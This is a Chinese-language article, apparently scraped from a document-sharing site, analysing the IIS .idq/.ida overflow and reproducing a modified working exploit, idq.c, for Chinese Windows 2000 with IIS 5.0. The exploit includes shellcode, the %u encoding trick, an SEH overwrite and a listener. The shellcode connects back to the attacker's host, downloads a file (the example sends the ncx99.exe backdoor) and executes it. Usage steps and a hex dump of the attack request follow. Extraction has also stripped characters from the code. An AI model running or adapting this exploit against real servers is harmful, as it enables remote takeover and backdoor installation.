對(duì).idq.ida溢出攻擊的分析(IIS)_第1頁
對(duì).idq.ida溢出攻擊的分析(IIS)_第2頁
對(duì).idq.ida溢出攻擊的分析(IIS)_第3頁
對(duì).idq.ida溢出攻擊的分析(IIS)_第4頁
對(duì).idq.ida溢出攻擊的分析(IIS)_第5頁
已閱讀5頁,還剩15頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、    原創(chuàng):isno(isno) 來源:      對(duì).idq/.ida溢出攻擊的分析 by isno()     IIS的.idq/.ida映射的溢出漏洞已經(jīng)公布了好久了,但由于利用這個(gè)漏洞有 比較大的難度,所以可用的攻擊程序一直也沒弄出來。甚至連發(fā)現(xiàn)這個(gè)漏洞的 eEye也沒做出攻擊程序來,由于發(fā)送的內(nèi)容被轉(zhuǎn)換成了寬字符,所以覆蓋用的 溢出地址比較難以控制,按照eEye的辦法,是在shellcode前面放

2、上很多NOP這樣 就把shellcode推向了0x004x00xx的地址,就可以用xx4x這樣的串來覆蓋ret,這 個(gè)串被擴(kuò)展為xx004x00以后正好跳轉(zhuǎn)到shellcode的位置。這種方法雖然理論上 行的通,但是實(shí)際上問題非常多,可以控制跳轉(zhuǎn)卻無法執(zhí)行代碼,而且不同的機(jī) 器這個(gè)0x004x00xx都不一樣,這樣就很難做出通用性比較好的exploit。     昨天終于看到公布了可用的攻擊程序,一開始沒仔細(xì)看還以為是騙人的。后 來用softice跟了一下,又請(qǐng)教了一下袁哥才搞明白。這個(gè)exploit寫得很不錯(cuò), 用巧妙的方法避開來被擴(kuò)展成寬字符,可以隨

3、意控制跳轉(zhuǎn)地址,利用他的方法可 以很輕松的改寫出更完善的exploit。     這個(gè)程序的shellcode比較簡(jiǎn)單,只是連到指定主機(jī)的指定端口去接受數(shù) 據(jù),然后把它存為aa.exe,然后運(yùn)行aa.exe。但它和以前的對(duì)付.htr溢出的那個(gè) iishack不一樣,它不能主動(dòng)請(qǐng)求數(shù)據(jù),而只能等待那邊的主機(jī)發(fā)送數(shù)據(jù),所以 你不能用它來下載指定的程序,而必須由攻擊端的攻擊程序來開個(gè)進(jìn)程等待發(fā)送 數(shù)據(jù)到被攻擊的主機(jī)。     我把這個(gè)程序稍微改了一下,使它可以攻擊中文版IIS5。因?yàn)檫^幾天要考 試,我也沒有時(shí)間再寫個(gè)新程

4、序了,只有等考完后在弄。下面就是我改良過 的.idq exploit程序,作了一些比較詳細(xì)的注解: -idq.c- /* IIS5.0 .idq overrun remote exploit Programmed by hsj : 01.06.21 code flow: overrun -> jmp or call ebx -> jmp 8 -> check shellcode addr and jump to there -> shellcode -> make back channel -> download & exec code */ /*

5、Modified by isno 對(duì)中文版WIN2k + IIS 5.0 + SP0攻擊成功! 在RedHat6.2上編譯 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define RET 0x77e4ac97 /* jmp or call ebx */ /* 這是中文版WIN2K(沒有安裝SP)中jmp ebx的地址*/ #define GMH

6、ANDLEA 0x77e756db /* Address of GetModuleHandleA */ #define GPADDRESS 0x77e7564b /* Address of GetProcAddress */ /*中文版GetModuleHandleA和GetProcAddress的地址*/ /*這兩個(gè)API的地址固定了,這樣通用性不好,其實(shí)可以用shellcode來搜索*/ #define GMHANDLEA_OFFSET 24 /*GetModuleHandleA的地址在shellcode中的偏移位置*/ #define GPADDRESS_OFFSET 61 /*同上*/

7、 #define OFFSET 234 /* exception handler offset */ /* 作者選擇了覆蓋SEH,這樣可以避免覆蓋掉某些形參而引起的錯(cuò)誤, 但根據(jù)我的測(cè)試,覆蓋RET也是一樣的 */ #define NOP 0x41 #define MASKING 1 #if MASKING #define PORTMASK 0x4141 #define ADDRMASK 0x41414141 #define PORTMASK_OFFSET 128 #define ADDRMASK_OFFSET 133 #endif /*做了一些編碼,以免地址或端口中還有0字節(jié)而截?cái)鄐hell

8、code*/ #define PORT 555 /*shellcode要連接的端口,不要用80,因?yàn)?0一般都被占用了*/ #define ADDR "11" /* !注意:上面這個(gè)地方是必須要更改的地方! 這是你發(fā)起攻擊的主機(jī)地址,就是你運(yùn)行攻擊程序的那臺(tái)主機(jī)。 */ #define PORT_OFFSET 115 #define ADDR_OFFSET 120 /*都是一些偏移量*/ unsigned char shellcode= "x5Bx33xC0x40x40xC1xE0x09x2BxE0x33xC9x41x41x33xC0&q

9、uot; "x51x53x83xC3x06x88x03xB8xDDxCCxBBxAAxFFxD0x59x50" "x43xE2xEBx33xEDx8BxF3x5Fx33xC0x80x3Bx2Ex75x1Ex88" "x03x83xFDx04x75x04x8Bx7Cx24x10x56x57xB8xDDxCCxBB" "xAAxFFxD0x50x8Dx73x01x45x83xFDx08x74x03x43xEBxD8" "x8Dx74x24x20x33xC0x50x40x50x40x50x8Bx46xFCxFF

10、xD0" "x8BxF8x33xC0x40x40x66x89x06xC1xE0x03x50x56x57x66" "xC7x46x02xBBxAAxC7x46x04x44x33x22x11" #if MASKING "x66x81x76x02x41x41x81x76x04x41x41x41x41" #endif "x8Bx46xF8xFFxD0x33xC0" "xC7x06x5Cx61x61x2ExC7x46x04x65x78x65x41x88x46x07" "x66xB8x8

11、0x01x50x66xB8x01x81x50x56x8Bx46xECxFFxD0" "x8BxD8x33xC0x50x40xC1xE0x09x50x8Dx4Ex08x51x57x8B" "x46xF4xFFxD0x85xC0x7Ex0Ex50x8Dx4Ex08x51x53x8Bx46" "xE8xFFxD0x90xEBxDCx53x8Bx46xE4xFFxD0x57x8Bx46xF0" "xFFxD0x33xC0x50x56x56x8Bx46xE0xFFxD0x33xC0xFFxD0" /*shellco

12、de實(shí)現(xiàn)連接到攻擊端并下載程序的功能,這個(gè)程序必須在攻擊端主機(jī)上*/ unsigned char storage= "xEBx02" "xEBx4E" "xE8xF9xFFxFFxFF" "msvcrt.ws2_32.socket.connect.recv.closesocket." "_open._write._close._execl." /*這是前面的shellcode用來跳到后面并尋址字符串*/ unsigned char forwardjump= "%u08eb"

13、/*這是覆蓋異常結(jié)構(gòu)的jmp 08h,用來跳到后面尋址shellcode的那段代碼*/ /* 作者在前面加了一個(gè)%u符號(hào),這樣就可以免于被擴(kuò)展成寬字符,這方法 太妙了!至于IIS是這樣處理%u的,可以參見上袁哥反匯編 的代碼。后面的返回地址和跳轉(zhuǎn)shellcode的代碼也作了同樣的處理。 */ unsigned char jump_to_shell= "%uC033%uB866%u031F%u0340%u8BD8%u8B03" "%u6840%uDB33%u30B3%uC303%uE0FF" /* 跳轉(zhuǎn)到shellcode去,我不一句句的解釋了,如果有興

14、趣可以自己看, 注意每兩個(gè)字節(jié)都是反的,%uC033在轉(zhuǎn)換后變成了x33xC0。 */ unsigned int resolve(char *name)     struct hostent *he;     unsigned int ip;     if(ip=inet_addr(name)=(-1)          if(he=gethostbyname(name)=0)  

15、60;  return 0;     memcpy(&ip,he->h_addr,4);          return ip; /*域名->IP*/ int make_connection(char *address,int port)     struct sockaddr_in server,target;     int s,i,bf;  

16、   fd_set wd;     struct timeval tv;     s = socket(AF_INET,SOCK_STREAM,0);     if(s<0)     return -1;     memset(char *)&server,0,sizeof(server);     server.

17、sin_family = AF_INET;     server.sin_addr.s_addr = htonl(INADDR_ANY);     server.sin_port = 0;     target.sin_family = AF_INET;     target.sin_addr.s_addr = resolve(address);     if(target.sin_addr.s_

18、addr=0)          close(s);     return -2;          target.sin_port = htons(port);     bf = 1;     ioctl(s,FIONBIO,&bf);     tv.tv_sec =

19、10;     tv.tv_usec = 0;     FD_ZERO(&wd);     FD_SET(s,&wd);     connect(s,(struct sockaddr *)&target,sizeof(target);     if(i=select(s+1,0,&wd,0,&tv)=(-1)     

20、     close(s);     return -3;          if(i=0)          close(s);     return -4;          i = sizeof(int);   &

21、#160; getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);     if(bf!=0)|(i!=sizeof(int)          close(s);     errno = bf;     return -5;          ioctl(s,FI

22、ONBIO,&bf);     return s; /*上面是連接主機(jī)的函數(shù)*/ /* 下面這個(gè)函數(shù)很重要,它監(jiān)聽在前面定義的那個(gè)的端口,我用了555, 一旦有主機(jī)連接過來,后面那個(gè)進(jìn)程就把本地的一個(gè)程序發(fā)送過去, 這個(gè)程序當(dāng)然也是在運(yùn)行時(shí)指定的。 */ int get_connection(int port)     struct sockaddr_in local,remote;     int lsock,csock,len,reuse_addr;  

23、   lsock = socket(AF_INET,SOCK_STREAM,0);     if(lsock<0)          perror("socket");     exit(1);          reuse_addr = 1;     if(se

24、tsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr)<0)          perror("setsockopt");     close(lsock);     exit(1);          memset(char

25、 *)&local,0,sizeof(local);     local.sin_family = AF_INET;     local.sin_port = htons(port);     local.sin_addr.s_addr = htonl(INADDR_ANY);     if(bind(lsock,(struct sockaddr *)&local,sizeof(local)<0)  &#

26、160;       perror("bind");     close(lsock);     exit(1);          if(listen(lsock,1)<0)          perror("listen");   

27、;  close(lsock);     exit(1);      retry:     len = sizeof(remote);     csock = accept(lsock,(struct sockaddr *)&remote,&len);     if(csock<0)        

28、;  if(errno!=EINTR)          perror("accept");     close(lsock);     exit(1);          else     goto retry;       &

29、#160;  close(lsock);     return csock; int main(int argc,char *argv)     int i,j,s,pid;     unsigned int cb;     unsigned short port;     char *p,buf512,buf2512,buf32048;    &

30、#160;FILE *fp;     if(argc!=3)          printf("usage: $ %s ip filen",argv0);     return -1;          if(fp=fopen(argv2,"rb")=0)     return

31、-2;     if(!(cb=resolve(ADDR)     return -3;     if(pid=fork()<0)     return -4; /* 開兩個(gè)進(jìn)程一個(gè)用于構(gòu)造并發(fā)送shellcode, 另一個(gè)監(jiān)聽指定端口并等待發(fā)送數(shù)據(jù)。 */     if(pid)          fclose

32、(fp);     s = make_connection(argv1,80);     if(s<0)          printf("connect error:%d.n",s);     kill(pid,SIGTERM);     return -5;       

33、0;  j = strlen(shellcode);     *(unsigned int *)&shellcodeGMHANDLEA_OFFSET = GMHANDLEA;     *(unsigned int *)&shellcodeGPADDRESS_OFFSET = GPADDRESS;     port = htons(PORT); #if MASKING     port = PORTMA

34、SK;     cb = ADDRMASK;     *(unsigned short *)&shellcodePORTMASK_OFFSET = PORTMASK;     *(unsigned int *)&shellcodeADDRMASK_OFFSET = ADDRMASK; #endif     *(unsigned short *)&shellcodePORT_OFFSET = port;  

35、;   *(unsigned int *)&shellcodeADDR_OFFSET = cb;     for(i=0;i<strlen(shellcode);i+)          if(shellcodei=0x0a)|      (shellcodei=0x0d)|      (shellcodei=0x3a)   

36、0; break;          if(i!=j)          printf("bad portno or ip address.n");     close(s);     kill(pid,SIGTERM);     return -6;    

37、      memset(buf,1,sizeof(buf);     p = &bufOFFSET-2;     sprintf(p,"%s",forwardjump);     p += strlen(forwardjump);     *p+ = 1;     *p+ = '%'  

38、60;  *p+ = 'u'     sprintf(p,"%04x",(RET>>0)&0xffff);     p += 4;     *p+ = '%'     *p+ = 'u'     sprintf(p,"%04x",(RET>>16)&0

39、xffff);     p += 4;     *p+ = 1;     sprintf(p,"%s",jump_to_shell);     memset(buf2,NOP,sizeof(buf2);     memcpy(&buf2sizeof(buf2)-strlen(shellcode)-strlen(storage)-1,storage,strlen(stor

40、age);     memcpy(&buf2sizeof(buf2)-strlen(shellcode)-1,shellcode,strlen(shellcode);     buf2sizeof(buf2)-1 = 0;     sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0rnShell: %srnrn",buf,buf2);     /* 上面就是構(gòu)造溢出串,溢出串在被擴(kuò)展

41、并拷貝入IIS的堆棧后形式如下:     .| 異常鏈 |處理指針|. 010001000100.|eb080100|97ace477|010033c0.      |jmp 08h | jmp ebx| jmp shellcode */     write(s,buf3,strlen(buf3);     printf("-");     for(i=0;i<strle

42、n(buf3);i+)          if(i%16)=0)     printf("n");     printf("%02X ",buf3i&0xff);          printf("n-n");     wait(0);  &

43、#160;  sleep(1);     shutdown(s,2);     close(s);     printf("Done.n");          /*下面這個(gè)進(jìn)程用于建立連接,并打開指定文件并發(fā)送出去*/     else        

44、60; s = get_connection(PORT);     j = 0;     while(i=fread(buf,1,sizeof(buf),fp)          write(s,buf,i);     j += i;     printf(".");     fflush

45、(stdout);          fclose(fp);     printf("n%d bytes send.n",j);     shutdown(s,2);     close(s);          return 0; -idq.c-cut here- 整個(gè)程序攻擊的流程是這樣的: &

46、#160;   攻擊端        被攻擊端 1.     發(fā)送shellcode      ->     2.        溢出并運(yùn)行shellcode 3.監(jiān)聽555端口等待連接 4.     連接到攻擊端555端口  

47、60;   <-      5.     發(fā)送文件數(shù)據(jù)      ->      6         接受文件為aa.exe并執(zhí)行 下面是演示一下具體的用法的實(shí)例: 先到一臺(tái)linux主機(jī)上編譯idq.c。gcc -o idq idq.c !注意一定先改一下程序中的#define ADDR "111.111.111.

48、111"為你這臺(tái) linux主機(jī)的IP地址! 然后上傳一個(gè)ncx99.exe到這臺(tái)主機(jī)放在同一個(gè)目錄下: bash# ls -al total 90 drwxrwxrwt 7 root    root    1024 Aug 30 05:25 . drwxr-xr-x 17 root    root    1024 Aug 28 15:47 . drwxrwxrwt 2 xfs    x

49、fs    1024 May 14 03:03 .font-unix -rwxr-xr-x 1 root    root    18526 Aug 30 05:25 idq -rw-r-r- 1 root    root    8149 Aug 30 05:25 idq.c -rw-rw-rw- 1 root    root   

50、; 59392 Aug 17 1999 ncx99.exe 假設(shè)要攻擊22,就這樣: bash# ./idq 22 ncx99.exe - 47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01

51、 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01

52、 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37 25 75 37 37 65 34 01 25 75 43 30 33

53、 33 25 75 42 38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25 75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34 30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43 33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50 2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

54、 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

55、 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9 FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32 2E 73 6F 63 6B 65 74 2E

56、 63 6F 6E 6E 65 63 74 2E 72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74 2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63 6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40 40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3 06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33 ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04 75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50 8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20 33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0 40 40 66 89 0

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論